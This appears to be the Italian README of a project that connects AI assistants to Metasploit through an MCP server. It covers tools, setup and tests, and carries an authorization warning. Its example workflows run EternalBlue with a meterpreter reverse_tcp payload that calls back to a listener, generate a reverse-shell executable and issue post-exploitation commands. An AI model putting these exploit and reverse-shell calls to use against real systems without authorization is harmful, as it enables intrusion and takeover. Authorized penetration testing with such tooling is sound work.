Metasploit MCP Server

Un server Model Context Protocol (MCP) per l'integrazione con Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Descrizione

Questo server MCP fornisce un ponte tra modelli linguistici di grandi dimensioni come Claude e la piattaforma di penetration testing Metasploit Framework. Consente agli assistenti AI di accedere e controllare dinamicamente le funzionalità di Metasploit tramite strumenti standardizzati, offrendo un'interfaccia in linguaggio naturale per flussi di lavoro complessi di test di sicurezza.

Funzionalità

Informazioni sui moduli

• list_exploits: Cerca ed elenca i moduli exploit Metasploit disponibili
• list_payloads: Cerca ed elenca i moduli payload Metasploit disponibili con filtro opzionale per piattaforma e architettura

Flusso di lavoro di exploitation

• run_exploit: Configura ed esegue un exploit contro un target, con opzione per eseguire prima i controlli
• run_auxiliary_module: Esegue qualsiasi modulo ausiliario Metasploit con opzioni personalizzate
• run_post_module: Esegue moduli post-exploitation su sessioni esistenti

Generazione payload

• generate_payload: Genera file payload utilizzando Metasploit RPC (salva i file localmente)

Gestione sessioni

• list_active_sessions: Mostra le sessioni Metasploit correnti con informazioni dettagliate
• send_session_command: Esegue un comando in una shell attiva o in una sessione Meterpreter
• terminate_session: Termina forzatamente una sessione attiva

Gestione handler

• list_listeners: Mostra tutti gli handler attivi e i job in background
• start_listener: Crea un nuovo multi/handler per ricevere connessioni
• stop_job: Termina qualsiasi job o handler in esecuzione

Prerequisiti

• Metasploit Framework installato e msfrpcd in esecuzione
• Python 3.10 o superiore
• Pacchetti Python richiesti (vedi requirements.txt)

Installazione

1. Clona questo repository
2. Installa le dipendenze:

   pip install -r requirements.txt
   

3. Configura le variabili d'ambiente (opzionale):

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Opzionale: dove salvare i payload generati
   

Utilizzo

Avvia il servizio RPC di Metasploit:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Opzioni di trasporto

Il server supporta due metodi di trasporto:

• HTTP/SSE (Server-Sent Events): Modalità predefinita per l'interoperabilità con la maggior parte dei client MCP
• STDIO (Standard Input/Output): Utilizzato con Claude Desktop e simili connessioni dirette tramite pipe

Puoi selezionare esplicitamente la modalità di trasporto usando il flag --transport:

# Esegui con trasporto HTTP/SSE (predefinito)
python MetasploitMCP.py --transport http

# Esegui con trasporto STDIO
python MetasploitMCP.py --transport stdio

Opzioni aggiuntive per la modalità HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Integrazione con Claude Desktop

Per l'integrazione con Claude Desktop, configura claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Altri client MCP

Per altri client MCP che utilizzano HTTP/SSE:

1. Avvia il server in modalità HTTP:

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. Configura il tuo client MCP per connettersi a:

   • Endpoint SSE: http://your-server-ip:8085/sse

Considerazioni sulla sicurezza

⚠️ IMPORTANTE AVVISO DI SICUREZZA:

Questo strumento fornisce accesso diretto alle funzionalità di Metasploit Framework, che includono potenti funzioni di exploitation. Usalo in modo responsabile e solo in ambienti in cui hai l'autorizzazione esplicita a eseguire test di sicurezza.

• Valida e controlla sempre tutti i comandi prima dell'esecuzione
• Esegui solo in ambienti di test isolati o con un'autorizzazione adeguata
• Tieni presente che i comandi post-exploitation possono comportare modifiche significative al sistema

Flussi di lavoro di esempio

Exploitation di base

1. Elenca gli exploit disponibili: list_exploits("ms17_010")
2. Seleziona ed esegui un exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. Elenca le sessioni: list_active_sessions()
4. Esegui comandi: send_session_command(1, "whoami")

Post-exploitation

1. Esegui un modulo post: run_post_module("windows/gather/enum_logged_on_users", 1)
2. Invia comandi personalizzati: send_session_command(1, "sysinfo")
3. Termina quando hai finito: terminate_session(1)

Gestione degli handler

1. Avvia un listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. Elenca gli handler attivi: list_listeners()
3. Genera un payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Ferma un handler: stop_job(1)

Test

Questo progetto include test unitari e di integrazione completi per garantire affidabilità e manutenibilità.

Prerequisiti per i test

Installa le dipendenze di test:

pip install -r requirements-test.txt

Oppure usa l'installer conveniente:

python run_tests.py --install-deps
# OPPURE
make install-deps

Esecuzione dei test

Comandi rapidi

# Esegui tutti i test
python run_tests.py --all
# OPPURE
make test

# Esegui con report di copertura
python run_tests.py --all --coverage
# OPPURE
make coverage

# Esegui con report di copertura HTML
python run_tests.py --all --coverage --html
# OPPURE
make coverage-html

Suite di test specifiche

# Solo test unitari
python run_tests.py --unit
# OPPURE
make test-unit

# Solo test di integrazione  
python run_tests.py --integration
# OPPURE
make test-integration

# Test di parsing delle opzioni
python run_tests.py --options
# OPPURE
make test-options

# Test delle funzioni helper
python run_tests.py --helpers
# OPPURE
make test-helpers

# Test degli strumenti MCP
python run_tests.py --tools
# OPPURE
make test-tools

Opzioni di test

# Includi test lenti
python run_tests.py --all --slow

# Includi test di rete (richiede una rete reale)
python run_tests.py --all --network

# Output verboso
python run_tests.py --all --verbose

# Test rapido (senza copertura, fermati al primo errore)
make quick-test

# Modalità debug (informazioni dettagliate sugli errori)
make test-debug

Struttura dei test

• tests/test_options_parsing.py: Test unitari per la funzionalità di parsing delle opzioni
• tests/test_helpers.py: Test unitari per le funzioni helper interne e la gestione del client MSF
• tests/test_tools_integration.py: Test di integrazione per tutti gli strumenti MCP con backend Metasploit simulato (mock)
• conftest.py: Fixture di test condivise e configurazione
• pytest.ini: Configurazione pytest con impostazioni di copertura

Funzionalità dei test